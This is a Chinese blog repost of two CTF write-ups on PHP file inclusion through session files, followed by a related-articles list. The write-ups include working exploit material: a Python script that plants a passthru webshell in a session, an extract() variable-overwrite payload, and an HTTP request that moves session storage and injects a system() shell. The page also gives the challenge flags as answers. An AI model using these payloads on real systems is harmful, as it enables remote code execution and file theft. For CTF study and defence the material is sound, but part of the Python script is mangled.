当前位置: 首页 > article >正文

文件包含-session2

[题目信息]:

题目名称题目难度
文件包含-session22

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2098

[题目writeup]:

1、实验主页

2、题解分析

#!/usr/bin/env python
# coding: utf-8

from time import sleep
import requests

url = ‘url’

s = requests.session()

def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess
’ + r.cookies[‘PHPSESSID’]

r = s.post(url, params=params, data={'cmd': cmd})
return r.text

print execute(‘cat /flag’)








[题目信息]:

题目名称题目难度
文件包含-session2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2090

[题目writeup]:

1、实验主页

2、题解分析

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含

?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。

从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数,修改session的位置

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

然后进行包含session

/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php


http://www.kler.cn/a/561137.html

相关文章:

  • EX_25/2/24
  • 服务器独立IP对于网站的作用
  • Windows - 通过ssh打开带有图形界面的程序 - 一种通过计划任务的曲折实现方式
  • 机试题——新能源汽车充电桩建设策略
  • Spring MVC的基本概念
  • java练习(38)
  • Win32/ C++ 简易对话框封装框架(多语言, 通知栏菜单, 拖拽文件处理)
  • git 小乌龟安装包及中文包
  • touchgfx的工作机制
  • DeepSeek开源周Day1:重磅发布FlashMLA,重新定义AI推理效率天花板
  • 今日运维之-Mac笔记本python环境问题
  • Postman参数介绍
  • Docker核心概念
  • 小迪安全-24天-文件管理,显示上传,黑白名单,访问控制
  • 大语言模型基础
  • 分布式文件系统HDFS
  • Ubuntu 下 nginx-1.24.0 源码分析 - ngx_cpuinfo 函数
  • Terser 与 Esbuild 比较
  • 如何在本地和服务器新建Redis用户和密码
  • 大数据开发平台的框架